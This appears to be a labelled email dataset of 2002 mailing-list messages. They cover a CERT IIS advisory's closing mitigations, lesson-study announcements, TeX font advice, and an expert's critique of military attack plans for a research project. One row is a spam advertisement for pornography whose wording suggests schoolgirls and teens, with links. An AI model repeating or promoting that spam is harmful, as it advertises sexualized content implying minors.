recommended for quite some time, disable the HTR ISAPI extension unless it is absolutely required. * Disable anonymous FTP unless it is required. * Don't give login credentials on IIS servers to untrusted users. _________________________________________________________________ Our thanks to Microsoft Corporation for the information contained in their advisory. Additionally, our thanks go to the various individuals and organizations whom Microsoft identified as discovering the vulnerabilities, including eEye Digital Security (http://www.eeye.com), Serge Mister of Entrust, Inc. (http://www.entrust.com), Dave Aitel of @Stake (http://www.atstake.com), Peter Grundl of KPMG, Joe Smith (jsm1th@hotmail.com) and zenomorph (admin@cgisecurity.com) of http://www.cgisecurity.com, Keigo Yamazaki of the LAC SNS Team (http://www.lac.co.jp/security/), and Thor Larholm of Jubii A/S. _________________________________________________________________ Author: Shawn V. Hernan ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-09.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History April 11, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPLXddqCVPMXQI2HJAQG0+AP8CqkIjWiFgHY0WdWHeuDDoTt/ME76Qyxc hIqu0JY4NYwPgHa3t28g5kT216wgIBpI3A/B4iS/d0GXACsN/NFzMbHK7oyvSauS /ljHAfOFWsP8Uho6LQX/A9i4BV1gXDc5ThmCXormjgjcskyrQrRNRE8bSi6yY/kQ paZ74Dil6co= =qG95 -----END PGP SIGNATURE----- ",0,1 wang@rbs.org,Lesson Study Listserv ,"Thu, 11 Apr 2002 21:38:49 -0400","Riptides, April 2002, *Lesson Study*","Hi, I thought some of you might be interested in the following announcement about the latest issue of RBS' Currents, which focuses on Lesson Study. Thanks. Patsy _______________________________________________________ Patsy Wang-Iverson Mid-Atlantic Eisenhower Consortium (http://www.rbs.org/eisenhower) Research for Better Schools 444 N. Third Street Philadelphia, PA 19123-4107 vox: 215.574.9300 x264 fax: 215.574.0133 net: wang@rbs.org ---------------------------- ~~~ Riptides ~~~ http://lists.rbs.org/archives/riptides.html Monthly mathematics and science education news from the Mid-Atlantic Eisenhower Consortium @ Research for Better Schools ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ APRIL 2002: Lesson Study ~> Lesson Study in Spotlight of ""RBS Currents"" ~> Valuable Institute for Urban Educators in PA ~> Last Chance to Catch Our IMAGES ~> Free from RBS: ""Northwest Teacher"" on Lesson Study ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Lesson Study in Spotlight of ""RBS Currents""~~~ http://www.rbs.org/currents/0502/index.shtml Online now is the spring issue of RBS Currents, which covers the professional development method called ""lesson study"" and its practice in the Mid-Atlantic region. We think it deserves your attention and your valuable time. Practitioners find that lesson study effectively connects theory with classroom practice, improves teachers' focus on student thinking and learning, and builds collaborative efforts among staff rather than imposing ""top-down"" professional development. Sound too good to be true? Start finding out with the lead article ""What is Lesson Study?,"" and then jump into the others highlighted below. ~ Lesson Study: It's a Matter of Time ~ http://www.rbs.org/currents/0502/matter_of_time.shtml Public School 2 in Paterson, NJ is known for pioneering lesson study in the United States. Read Principal Lynn Liptak's views on lesson study and learn about the ways in which she makes time in the school schedule to support lesson study activities. ~ Knowledgeable Others Collaborate in Lesson Study ~ http://www.rbs.org/currents/0502/knowledgeable_others.shtml Lesson study is not only about teachers collaborating with one another. It is also about increasing teachers' content knowledge in mathematics and science. By collaborating with knowledgeable others, such as mathematics educators from a nearby university, teachers get more comfortable with content knowledge and university educators keep in touch with classroom practice. ~ Lesson Study Photo Gallery ~ http://www.rbs.org/currents/0502/essay.shtml Tour this gallery and you'll see how lesson study is an active professional development model that engages teachers and administrators in collaboratively writing, observing, and discussing lessons. ~ Looking at our Blackboards ~ http://www.rbs.org/currents/0502/effective_use_of_blackboard.shtml Can an organized blackboard help to organize and focus student thinking? In Japan, lesson study discussions have examined how a carefully planned blackboard presentation can help organize student thinking and promote understanding. This article by Makoto Yoshida discusses the importance of an area often ignored: blackboard organization. ~ Lesson Study Resources ~ http://www.rbs.org/lesson_study/readings_and_resources.shtml As lesson study sparks interest in the U.S., more and more resources are becoming available to support schools that are exploring it. Visit the Lesson Study Readings and Resources page on the RBS Web site for an up-to-date listing of organizations, research articles, and multimedia products relating to lesson study. ~~~ Valuable Institute for Urban Educators in PA ~~~ http://www.pa-academy.org/gua/index.html Time is running out to apply for the impressive Governor's Academy for Urban Education, to be held at Muhlenberg College in Allentown, PA, June 23-28. Geared toward K-8 educators, the Academy focuses on developing Teaching and Learning Improvement Plans, aligning curricula with PA standards, and working with issues facing urban schools. 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All .sty files show the new version number 9..0. doc/latex/psnfss/psnfss2e.pdf source/latex/psnfss/psnfss2e.tex Updated and slightly improved documentation. best wishes Walter Schmidt",0,1 COtstott@aol.com,"blythe@venera.isi.edu, rkf-tkcp@ai.sri.com","Wed, 17 Apr 2002 12:08:25 -0400","[rkf-tkcp] Response to ""Critiques for the blue attack COAs""","Jim and Jihie: Here are my responses to your questions in ***red***. Charley Subj: Critiques for the blue attack COAs Date: 4/16/2002 7:20:21 PM Eastern Daylight Time From: blythe@ISI.EDU To: rkf-tkcp@ai.sri.com, COtstott@aol.com Sent from the Internet (Details) Charley, The COAs and their critiques that you've prepared for this scenario are highly informative - thanks. We again looked at how these critiques, or an approximation, might be generated automatically. Your feedback on the critiques for Dadmamian swamp was quite encouraging, so we'd like to continue this line and ask for your opinions on these. thanks, Jim and Jihie Mission accomplishment ---------------------- Mission: Seizure of Obj JAYHAWK and destruction of 29th Guards As in the Damamian Swamp scenario, we may use expected effects of the COA and check the results from a normative simulation or detailed simulation, including the location of the units and their remaining strength. - Remaining strength o RED: destroyed ***The term ""destroyed"" can have several definitions. To destroy an aircraft or a tank is fairly simple and objective. To destroy a military formation is quite another thing, and is subject to some subjectivity. The UMass folks and I talked about thi on my recent trip to Amherst and we talked about the differences between ""Neutralize', ""defeat"" and ""destroy"". I think it is fairly safe to say that an enemy force has been ""destroyed"" when it has sustained casualties of between half and 80% of its strength---some might say simply ""...greater than 50% casualties...""*** o BLUE: ;; SME may specify the expected strength after the attack***I suppose that an SME could do this, but it would be nice to have some sort of simulation engine that could run several iterartions of the fight and provide some sort of quantification of loss rates or loss exchange ratios.*** - Location of units o BLUE: are they now at JAYHAWK?***Yes, at the end of the directed action in either COA, most of our maneuver elements would be on, or south and southeast of Obj Jayhawk. I tried not to insert too many details such as assigning pieces of Jayhawk to each of the attacking brigades, but that would be necessary in an actual situation. A commander would probably divide Jayhawk into two brigade objectives, so the brigades would not intermingle on the final objective and commit any fratricide.*** Speed ----- We may retrieve the path/route of the moving operations involved in the COAs and check if the units can traverse the path quickly. We may also compare the overall time taken to accomplish the mission.***I think this would be fair. The main attack in COA#1 moves cross-country and on secondary roads. The main attack in COA #2 can begin using the main north-south highway on Axis Green, but they will fairly quickly have to deploy out of column formation on the road and move into a more suitable attack formation before meeting the security forces represented by the mechanized battalion that stands between them and JAYHAWK. This attack should move faster before the objective is reached, but will move more slowly through the enemy forces on the objective because it is a fronatl attack or penetration attack into the enemy's strength. COA#!, on the other hand, attacks into the enemy's flank and rear and will move faster after contact is gained (direct fire engagements) with the defensive forces on JAYHAWK. I would expect COA#1 to take less time overall.*** Simplicity ---------- One simple check we can do is comparing the number of different tasks assigned to the units. We may also check the degree of connections/coordination among the tasks. For example, in COA #2 the coordination of close fight, fires and aviation in the main attack may require relatively complex links among the tasks.***These all seem like very reasonable measurements to me.*** Use of terrain -------------- If we can assume that terrain features are known, we can show how they are used in the tasks. ***Except for the lake which shapes our courses of action in the early stages of the operation, the terrain is relatively simple and uninteresting in this fight. The Dadmamian Swamp may be a better lab for getting these measurements.***We are not sure how we can check for the 'lateral movement' of the battalion. ***Time/distance factors may give some insights. The ""brigade"" must shift on a diagonal which takes his whole formation 10-20 KM west as he approaches the objective area in order to add his combat power to the main attack formation. Since the force ratio is about even without him, two of ours against two Red units in the first ecehlon of the defense on JAYHAWK, his presence and participation is critical in the main attack force. He will probably arrive after the fight has already begun and can be used to ""reinforce success"" in a specific sector of the main attack.***Perhaps this can be done by the geo/spatial reasoner, or it may be the case that noting when a unit switches from one axis to another is adequate.***As above, both are important.*** Fire support: ------------- We can look at the tasks fire support is involved in in each COA: COA 1: Aviation artillery will attack deep initially on red artillery while main attack is moving. ***Attack helicopters could probably reduce the already attrited Red artillery to about half or less of its present strength, thus reducing the casualties on the Blue ground forces from enemy artiillery. There would undoubtedly be losses of the Blue Apaches in such an attack. In COA#2, I chose to hold the Apaches out of the deep attck to assisit in getting the ground elements through the fight where there is a more balanced force ration in the early going. Use of the Apaches in support of the main attack on Axis Green should insure its success.***Aviation artillery in support of main attack troops in contact.***""Aviation Artillery"" is not a good term. WE are talking about precision fires from HellFire anti-tank missiles, and 30mm ""electric gatling guns"" that destroy artillery pieces, lightly-armored vehicles and heavily-armored vehicles with aimed fire.*** COA 2: Support main attack initially. On order, destroy retreating enemy forces in deep battle area. If the system were simply to count the artillery tasks, the two COAs appear to make equal use of the artillery. Is there an approach by which we can tell that the two tasks in COA1 (attack red artillery & support main attack) make better use of the artillery than the two tasks in COA2 (support main attack & destroy retreating forces)?***See the discussion above. It is a judgement call on my part that more combat power will be needed on the close battle on COA#2 than will be needed in COA#1. I did not send the Apaches after the artillery after the initial phase of COA#2 because I expect that they will be some of the fleeing elements after the two or three brigades roar onto JAYHAWK in this COA. The Apaches will find the artillery and destroy it as they hunt the fleeeing elements. The artillery must displace to the rear as the battle approaches, and anything moving to the north from the opbjective area will look like it is fleeing to the Apache drivers. If they are highly disciplined Red force elements, they will stop in firing positions, face to the south, and continue to support thre battle as long as Red forces are engaging the Blue attackers.*** Risk: -------- As well as by using detailed simulation and summing up the other features, as you mentioned in your last message, it seems important to know when an attack is in the rear or in a flank as compared with head-on. This is explicitly mentioned in the commander's intent in COA 1, and it would be simple to check if it was always explicitly mentioned when present. Is this a reasonable thing to expect? If not, it might be computable from the sketch, by looking at the angles of approach and the way that the enemy forces are arrayed, but this seems harder.***Both are acceptable. The sketch is meant to portray this attribute of the COA#1 very clearly, and should not be hard to discern.*** As well as attacking in the flank or the rear, the concept of 'enveloping' the enemy seems important here, and this may be easier to detect at least in that the attack comes from several different angles. ***Great advantage is achieved by attcking the flank or rear of enemy forces. It usually combines the advantages of surprise and positional advantage, plus it tends to spread panic in the enemy forces, making their defeat easier.*** Position from follow-on operations ---------------------------------- We are not sure how we could arrive at the prediction that the 2nd brigade arrives intact in COA 1, while the reserve forces may have to assist in the main effort in COA 2. Could this be inferred from the fact that more forces may be required to mount the direct attack? ***Yes, that was my idea, anyway. The flank attack advantages mentioned above will probably allow the 2nd Brigade to fight only minimally to achive overall success. That is why I think it will be positioned to ""continue the attack north"".*** There does not seem to be an explicit mention of the extra task in the reserve statement.***An oversight on my part.*** Not mentioned: force protection/ratios***I tried to keep it simple, so that you could look at comparable sized units and not worry too much about exact force ratios. Do you need me to be more explicit and define unit strengths or relaitive combat power? I can do that, but it requires longer and I have to go find some reference material.*** ---------------------------------------- Presumably the task force ratios are important to determine the risks involved in the two COAs. However, it seems that more information is needed to determine them. For example, what kind of tanks are used by the 29th Guards, eg Abrams, M60 or T62/64/../80?***These are very appropriate questions, but I have to ask how much detail you are looking for? Would it make a difference to you if it were T80s against Abrams or if it were M60s against T64s? If it does, I can add those organizational details to the scenario. I noticed that Schmitt was very vague about the enemy forces in his scenarios, so I emulated that level of detail in mine.*** List of relevant criteria ------------------------- As was discussed in the telecon, can we start to develop a set of critique criteria, at least for the CP? We might be able to divide them into two sets: those that are used frequently, like mission accomplishment, use of terrain and risk, and those that appear less frequently but still often enough to be of general use, like perhaps speed and position for follow-on operations. Given these, one viable approach might be for a user to select the criteria of interest in a given situation. Another might be to always include the core criteria, and append any of the less frequent criteria whose values differ across the COAs under consideration.***I like the idea of core or default criteria, and some frequently used ones on a pull down menu with an authoring tool that comes up under ""other criteria"" if needed.***",0,0 Errol ,tex-fonts@math.utah.edu,"Thu, 18 Apr 2002 01:11:52 -0400",esthetical russiaan Schoolgirls,"! MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Group exquisite teens hardcoore! http://greatbigfat.info/pwpussypunis.htm?iSPhfd.fX,hj R_E_M_O__\\/_E http://greatbigfat.info ",1,1 Walter Schmidt ,tex-fonts ,"Thu, 18 Apr 2002 12:13:59 +0200",Re: hyphen appears twice in 8r.enc -- why?,"On Sat, 02 Mar 2002 08:41:56 -0800, Berthold K.P. Horn wrote: >>The reason behind my question is: There is a bug in recent >>versions of Ghostscript, which is triggered by the ""double"" >>hyphen [...] > >Oh no. Problems with ""repeat encoding"" have periodically >plagued commercial software like Adobe Illustrator. Too bad >such bad habits are now being duplicated elsewhere... FYI: The Ghostscript bug can be fixed easily by patching the file pdf_font.ps, which resides in the /lib directory of GS 7.04. This is explained in: best wishes Walter",0,1 Joanna Cannon ,Lesson Study Listserv ,"Fri, 19 Apr 2002 13:45:48 -0400",lesson planning and reflection study,"Dear Lesson Study Community, The Lesson Study Research Group of Teachers College, Columbia University is currently seeking 5th grade mathematics teachers to participate in a study on teachers' lesson planning and reflection practices. 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Fortunately, the font metrics will not change once again. -- Walter ",0,0 xander ,tex-fonts@sunshine.math.utah.edu,"Thu, 25 Apr 2002 17:29:29 +0200",adjusting height of sans serif to match serif,"Hi all, When I pick a serif font (e.g. caslon) and a sans serif font (e.g. gill sans) the heights of both fonts differ. Now, my original purpose was to create a nice-looking, easily readable document but I end up with a document that looks like it came straight out of kindergarten :) Especially when I put two words next to each other typesetted in resp. serif and sans serif. How do I scale down the sans serif font to match the size of the serif font? Preferably not in the .fd file, since altering the serif font would require me to modify the .fd font again.. so I'm looking for something like a scale function in TeX I suppose? Thanks in advance, xander van wiggen -- xander van wiggen mailto:xvw@trinity.warande.net If you were a booger, I'd pick you first. ",0,0 """Pierre A. MacKay"" ",xander ,"Thu, 25 Apr 2002 19:57:30 +0300",Re: adjusting height of sans serif to match serif ,"At 05:29 ìì 25/4/2002 +0200, you wrote: > > Hi all, > > When I pick a serif font (e.g. caslon) and a sans serif font > (e.g. gill sans) the heights of both fonts differ. > > Now, my original purpose was to create a nice-looking, easily readable > document but I end up with a document that looks like it came straight > out of kindergarten :) Especially when I put two words next to each other > typesetted in resp. serif and sans serif. Please take this in the helpful spirit intended, but the answer to your problem is what is known as ""design."" There are very few pairs of serif and sans serif fonts that work together. There is no reason at all why Gill Sans and Caslon should harmonize. Caslon represents the taste (and, if it is faithfully done, the technology) of the early 18th century at the latest, and Gill the 20s of the twentieth century. There were certain foundries in the middle of the last century (ITC is the most awful example) which tried to make all fonts into the same porridgy slop by boosting the x-height of classical fonts and lowering the ascenders so that everything would look like a fussy modification of AvantGarde, but there is some reason to hope that this habit is now out of date. If you want to mix seriffed and sans serif types, get a font book and study the proportions of the various offerings, preferably with someone who has done a little design at your side. I don't imagine that such a person would ever be likely to suggest that you start with a Caslon if you want to intermingle it with a sans serif---at least not with a well-designed Caslon. They come from two so radically different worlds that the effect is almost certain to be more bizarre than anything else. Designers like Chuck Bigelow, who recognize the requirements of modern publication and the limits of modern technology have given the idea some careful thought, and if you use something out of the Lucida family you may well find your problem goes away. Otherwise, your sans-serif will always look, as Parkinson once put it, like a short sharp anchovy in a strawberry ice. Pierre MacKay ",0,0 William Adams ,tex-fonts@sunshine.math.utah.edu,"Thu, 25 Apr 2002 13:56:44 -0400",Re: adjusting height of sans serif to match serif,"Pierre McKay said: >Designers like Chuck Bigelow, who recognize the >requirements of modern publication and the limits of modern technology have >given the idea some careful thought, and if you use something out of the >Lucida >family you may well find your problem goes away. Excellent advice! For those curious about the Lucida family, I host a brief .txt file on it written by Dr. Bigelow and Ms. Holmes (MS had it up back when they did the MS TrueType Font Pack Vol. 1, but it's since dissappeared from their ftp site, 'least-wise I can't find it) on my personal web pages at http://members.aol.com/willadams --- listed in the bibliography. Y&Y is the canonical vendor for such fonts, www.yandy.com There has been some effort in for example psnfss to harmonize disparate fonts though, so one might study such packages to one's benefit. William -- William Adams, publishing specialist ATLIS Graphics & Design / 717-731-6707 voice / 717-731-6708 fax Sphinx of black quartz, judge my vow. http://www.atlis.com ",0,1 Thierry Bouche ,tex-fonts@sunshine.math.utah.edu,"Thu, 25 Apr 2002 22:09:34 +0200",Re[2]: adjusting height of sans serif to match serif,"Le jeudi 25 avril 2002, à 18:57:30, Pierre MacKay écrivit : PAM> Please take this in the helpful spirit intended, but the answer to PAM> your problem is what is known as ""design."" There are very few pairs PAM> of serif and sans serif fonts that work together. There is no PAM> reason at all why Gill Sans and Caslon should harmonize. Caslon PAM> represents the taste (and, if it is faithfully done, the PAM> technology) of the early 18th century at the latest, and Gill the PAM> 20s of the twentieth century. this is a quite questionable answer. If you go on this way, why simply should you need Sans serif & Sans to go on the same text flow? Aren't italics, semibold and small caps quite enough to introduce a basic markup that could already overload the reader's buffer? On the other hand, if for some reason you want it, then quite many pairs are available for testing. I assume that, if you want it, it's precisely because you want some more contrast than what the usual variants provide, then the inevitable mismatch in color and design can be regarded a _feature_ of the design decision. Gill Sans is not so different from Caslon in its general architecture & proportions, it may work better with Plantin, though... A classical pair is Garamond or similar designs with Syntax; another one is Minion/Cronos (or Today Sans). Now, regarding Lucida and other super packs, (Scala, Le Monde...), you may precisely be disappointed by the low contrast and too high similarity of design: they work well in a newspaper design where you will set two articles with different parameters next to the other, so that the reader's eye won't be confused in which column to follow the text. If you mix them on a line, you may fail to notice the type change... I'm anyway quite amazed that, after what you say about ITC horrors with enormous x-heights, you may favor Lucida! -- Cordialement, Thierry ",0,0 Michael Malak ,xander ,"Thu, 25 Apr 2002 16:09:23 -0400",Re: adjusting height of sans serif to match serif,"I'm going to ignore questions of design here, and assume that you have found serif and sans-serif fonts that would go well together if the sans were scaled down a bit. It's up to you to choose wisely and use wisely. You can modify the .fd files in a nondestructive way. Look at the files helvet.sty and ot1phv.fd in the directory texmf/tex/latex/psnfss. The package helvet now takes an option [scaled=0.92], and defines \\Hv@scale to be that scale factor. (And [scaled] is equivalent to [scaled=0.95].) Then the .fd files check to see if \\Hv@scale is defined, and if it is, scale the font accordingly. You could make your own package file for, say, Gill Sans (note that the name ""gillsans"" is already taken) and model it after helvet.sty, changing the names of macros that appear to refer to Helvetica. Edit your .fd files to work like ot1phv.fd too. Then you would put into your main LaTeX file \\usepackage{mycaslon} \\usepackage[scaled=0.91]{mygill} but of course you would use fonts that matched. Remember, with great power comes great responsibility. Would an experienced voice care to suggest some families that work together but weren't designed with each other in mind? Mike xander wrote: > > Hi all, > > When I pick a serif font (e.g. caslon) and a sans serif font > (e.g. gill sans) the heights of both fonts differ. > > Now, my original purpose was to create a nice-looking, easily readable > document but I end up with a document that looks like it came straight > out of kindergarten :) Especially when I put two words next to each other > typesetted in resp. serif and sans serif. > > How do I scale down the sans serif font to match the size of the serif > font? Preferably not in the .fd file, since altering the serif font > would require me to modify the .fd font again.. so I'm looking for > something like a scale function in TeX I suppose? > > Thanks in advance, > xander van wiggen > -- > xander van wiggen mailto:xvw@trinity.warande.net > If you were a booger, I'd pick you first. ",0,0 xander ,Michael Malak ,"Thu, 25 Apr 2002 22:24:11 +0200",Re[2]: adjusting height of sans serif to match serif,"Hi Michael, Thanks :) MM> Would an experienced voice care to suggest some families that work MM> together but weren't designed with each other in mind? How about Minion + Optima??? Note that I'm definitely not an expert... -- groetjes, xander mailto:xvw@trinity.warande.net If you were a booger, I'd pick you first.",0,0 Nirmal Govind ,tex-fonts@sunshine.math.utah.edu,"Sat, 27 Apr 2002 20:21:52 -0400",Thicker Computer Modern fonts?,"Hi, I have a question about the Computer Modern fonts. When I print documents written in CM fonts with a 600dpi printer, the output on paper appears a bit light (though on the computer screen it looks great). I'm aware that the CM fonts are supposed to look that way (light) so I was wondering if there's any workaround to make the output on paper look thicker/darker. OR is there another font that looks similar to the CM font but is darker? I think this font looks awesome and so I'd like to stick to it as much as possible. Thanks, nirmal ",0,0 """Berthold K.P. Horn"" ","Nirmal Govind , tex-fonts@sunshine.math.utah.edu","Sun, 28 Apr 2002 09:51:58 -0700",Re: Thicker Computer Modern fonts?,"Hi: >I have a question about the Computer Modern fonts. When I print documents >written in CM fonts with a 600dpi printer, the output on paper appears a >bit light (though on the computer screen it looks great). I'm aware that >the CM fonts are supposed to look that way (light) so I was wondering if >there's any workaround to make the output on paper look thicker/darker. OR >is there another font that looks similar to the CM font but is darker? I >think this font looks awesome and so I'd like to stick to it as much as >possible. Some publishers have been faced with this dilemma: people like to use CM, because it is ""traditional"", but don't like how thin it really is. In some cases they have commissioned special Type 1 versions of the CM fonts (or a subset thereof) that are ""darker"". Since making quality Type 1 fonts is a non-trivial amount of work, this has cost them quite a bit. When using bitmapped versions of the fonts, people have modified the MetaFont commands to ""fatten"" the strokes. regards, Berthold. >Thanks, nirmal -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 Nirmal Govind ,"""Berthold K.P. Horn"" , tex-fonts@sunshine.math.utah.edu","Sun, 28 Apr 2002 13:37:32 -0400",Re: Thicker Computer Modern fonts?,"Thanks for your reply Berthold. of the CM fonts (or a subset thereof) that are ""darker"". Since >making quality Type 1 fonts is a non-trivial amount of work, >this has cost them quite a bit. I'm guessing these aren't available on the web and aren't free for sure.. >When using bitmapped versions of the fonts, people have >modified the MetaFont commands to ""fatten"" the strokes. Is this something that I can do by myself? What do I need for this? Can you point me to a link which has instructions ? Thanks, nirmal",0,0 xander ,tex-fonts ,"Sun, 28 Apr 2002 21:15:45 +0200","fonts, design etc. continued","Hi people, Based on the various replies you kindly supplied me, I have decided to drop the sans serif fonts out of my document. I am currently writing my thesis and only use serif and a typewriter font now out of necessity (i write plain text & source code). I have selected the Adobe Garamond series as my main font (partly because I have the expert fonts, and those ligatures are just beautiful :). As typewriter font I use cmtt, as I recently heard (right here? or at comp.text.tex?) that this font mixes well with almost any font.. (any alternative typewriter/fixed-width fonts for AGaramond?) Also, I have ordered The elements of Typographic Style by Bringhurst. I am really getting interested in font & design stuff. Hints, links, tips anyone? See you, -- xander mailto:xvw@trinity.warande.net Zoltar: ""If I don't write a good paper and get a good grade, my teacher will melt my brain."" Eek: ""Gee! I see our planets share a similar education system."" ",0,0 """James H. Cloos Jr."" ",Nirmal Govind ,"Sun, 28 Apr 2002 19:54:29 -0400",Re: Thicker Computer Modern fonts?,">>>>> ""Nirmal"" == Nirmal Govind writes: >>>>> ""Berthold"" == Berthold K P Horn writes: Nirmal> I'm aware that the CM fonts are supposed to look that way Nirmal> (light) so I was wondering if there's any workaround to make the Nirmal> output on paper look thicker/darker. Berthold> In some cases they have commissioned special Type 1 versions Berthold> of the CM fonts (or a subset thereof) that are ""darker"". Berthold> When using bitmapped versions of the fonts, people have Berthold> modified the MetaFont commands to ""fatten"" the strokes. What about just makeing a modes.mf entry with a larger darker than that used by default for the given printer? Ie, change ljet4 from: mode_def ljfour = %\\[ HP LaserJet 4 (600dpi) mode_param (pixels_per_inch, 600); mode_param (blacker, .25); mode_param (fillin, 0); mode_param (o_correction, 1); mode_common_setup_; enddef; to something like: mode_def blackerljfour = %\\[ HP LaserJet 4 (600dpi) with extra blacker mode_param (pixels_per_inch, 600); mode_param (blacker, 1); mode_param (fillin, 0); mode_param (o_correction, 1); mode_common_setup_; enddef; Perhaps also the printer you are using and the 600dpi mode do not concur. There are fifteen 600dpi modes in modes.mf, you might prefer one of the others to whichever one your setup defaults to. -JimC",0,0 Nirmal Govind ,"""James H. Cloos Jr."" ","Mon, 29 Apr 2002 01:16:03 -0400",Re: Thicker Computer Modern fonts?," Hi Jim, Never mind my last message!! I got things to work!!! And I'm really glad to say that the output on my printer now looks wonderful!!!! I generated the cmr12 font using the ljfive mode as you said which had blacker=0.75 .. and now the 12pt fonts are thicker.. I guess I need to do this now for more sizes of the fonts and slants and stuff but it feels great to have got to this point! Thanks so much for your help.. nirmal ",0,0 Thierry Bouche ,xander ,"Mon, 29 Apr 2002 10:34:30 +0200","Re: fonts, design etc. continued","Le dimanche 28 avril 2002 à 21:15:45, xander xander écrivit : x> I have selected the Adobe Garamond series as my main font (partly x> because I have the expert fonts, and those ligatures are just x> beautiful :). As typewriter font I use cmtt, as I recently heard x> (right here? or at comp.text.tex?) that this font mixes well with x> almost any font.. (any alternative typewriter/fixed-width fonts x> for AGaramond?) it's somewhat too black, but its low x-height and good design makes it a good choice, yes. For quite obvious reasons, there is no tt font that reasonably mix with AGaramond (I personnally use Letter Gothic, but this may need to be reworked a bit in order to live on a page with garaldes..) x> Also, I have ordered The elements of Typographic Style by Bringhurst. good starting point. x> I am really getting interested in font & design stuff. Hints, x> links, tips anyone? Well, there is the home page of Luc Devroye, which is quite a good gateway to font resources. Charles Hedrick has somewhere something about design of technical docs. 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The general wisdom for such presentations is to use sans serif to improve readability. Thus, FoilTeX and also SliTeX settle for sans fonts by default; however, math fonts remain the CM seriffed fonts. There are apparently only two contenders for sans serif math fonts, both offered commercially by micropress, and both of which I find not quite suiteable for the particular purpose: o hvmath: In my opinion, this is too heavy, and has too large an x-height, leading to a crowded looking page. Micropress provides 300dpi pk-fonts suitable for print preview, which is what I used for a test. o cmbright: As the name implies, this is rather light and thus, not quite unsuitable for projection. However, I find the font genuinely appealing in regular text. The MF sources and support files, except the scalable Type1 fonts are part of PSNFSS. I compared the same talk of mine with both the FoilTeX default, and the two packages above -- both of which work flawless with just \\usepackage. The FoilTeX text fonts are in-between those two in weight, and I believe this is just the right one. Now, the math mismatch would be less an issue if only displayed equations would be seriffed, but it becomes a very apparent one when sub/super-scripts are needed (e.g. chemical formulae). There is quite a bunch of presentation packages now available in LaTeX (slides, foils, seminar, prosper, pdfslide, pdfscreen, [ppower4]), yet most focus on questions like layout tricks and adding navigation, leaving most font issues open. I for one adopted pdflatex, the foils style, and supplemental packages to aid layout, e.g. geometry, ragged2e, textpos, and paralist. I lack experience in MetaFont and company, which is why I shied away from fiddling with them so far. FoilTeX's fltfonts.def is not for the light-hearted to dive in. Can anyone in this list help? Is there a radically different approach? Regards, -- Michael Sternberg, Ph.D. ""Who disturrrbs me at this time?"" << Zaphod Beeblebrox IV >> <*>",0,0 Walter Schmidt ,"Michael Sternberg , ""tex-fonts@math.utah.edu"" ","Wed, 01 May 2002 19:27:27 +0200",Re: math fonts for presentations,"On Wed, 1 May 2002 18:30:15 +0200, Michael Sternberg wrote: > o hvmath: In my opinion, this is too heavy, and has too large > an x-height, leading to a crowded looking page. Helvetica is MUCH larger than CM. As a result, many dimensions in your document, particularly the leading (distance between the lines), are too small for Helvetica. _This_ is the reason, why it looks bad! In addition to hvmath.sty, there is an improved package hvmaths.sty on CTAN (*), which lets you scale the Helvetica fonts, so that they match the size of CM. Besides, the leading should be increased somewhat, since Helvetica has a larger x-height than CM, even when scaled to the same height of the capital letters. For instance, scaling down Helevtica to about 93% of its natural size and increasing the distance between the lines to about 105% gives a good result: \\usepackage[scaled=0.93]{hvmaths} \\linespread{1.05} \\normalfont The required \\linespread depends on the line width and should be judged visually. (*) CTAN:macros/latex/contrib/supported/psnfssx/hvmath/ > Micropress provides 300dpi pk-fonts suitable for print preview, > which is what I used for a test. Hmm... the prefabricated bitmap fonts cannot be scaled, of course. But -- believe me -- it will look really good with scalable Type1 fonts :-) > o cmbright: As the name implies, this is rather light and thus, > not quite unsuitable for projection. You mean ""not suitable""? Well, it was not particularly designed for that purpose. > However, I find the > font genuinely appealing in regular text. :-) best wishes Walter ",0,0 """MicroPress Inc."" ",Michael Sternberg ,"Wed, 01 May 2002 13:32:04 -0400",Re: math fonts for presentations,"At 06:30 PM 5/1/02 +0200, you wrote: >Hello fellow TeXnicians, > >I am looking for a MATH font set suitable for electronic presentations. > >The general wisdom for such presentations is to use sans serif to >improve readability. Thus, FoilTeX and also SliTeX settle for sans >fonts by default; however, math fonts remain the CM seriffed fonts. > >There are apparently only two contenders for sans serif math fonts, The third contender, which is of slightly different nature, but still presentation-oriented, would be the ifmath, http://www.micropress-inc.com/fonts >both offered commercially by micropress, and both of which I find not >quite suiteable for the particular purpose: > > o hvmath: In my opinion, this is too heavy, and has too large > an x-height, leading to a crowded looking page. Slightly large x-height (which is normal for Helvetica) does not lead to a crowded page by itself; after all, if needed, one can adjust the line spacing a bit. Take a look at real samples, at http://www.micropress-inc.com/fonts or, a particular sample, http://www.micropress-inc.com/fonts/samples/hvsampl.pdf > > Micropress provides 300dpi pk-fonts suitable for print preview, > which is what I used for a test. > > o cmbright: As the name implies, this is rather light and thus, > not quite unsuitable for projection. However, I find the > font genuinely appealing in regular text. Yes, it is more of a text rather than the presentation font set. > > The MF sources and support files, except the scalable Type1 > fonts are part of PSNFSS. > >I compared the same talk of mine with both the FoilTeX default, and >the two packages above -- both of which work flawless with just >\\usepackage. The FoilTeX text fonts are in-between those two in >weight, and I believe this is just the right one. Now, the math >mismatch would be less an issue if only displayed equations would be >seriffed, but it becomes a very apparent one when sub/super-scripts >are 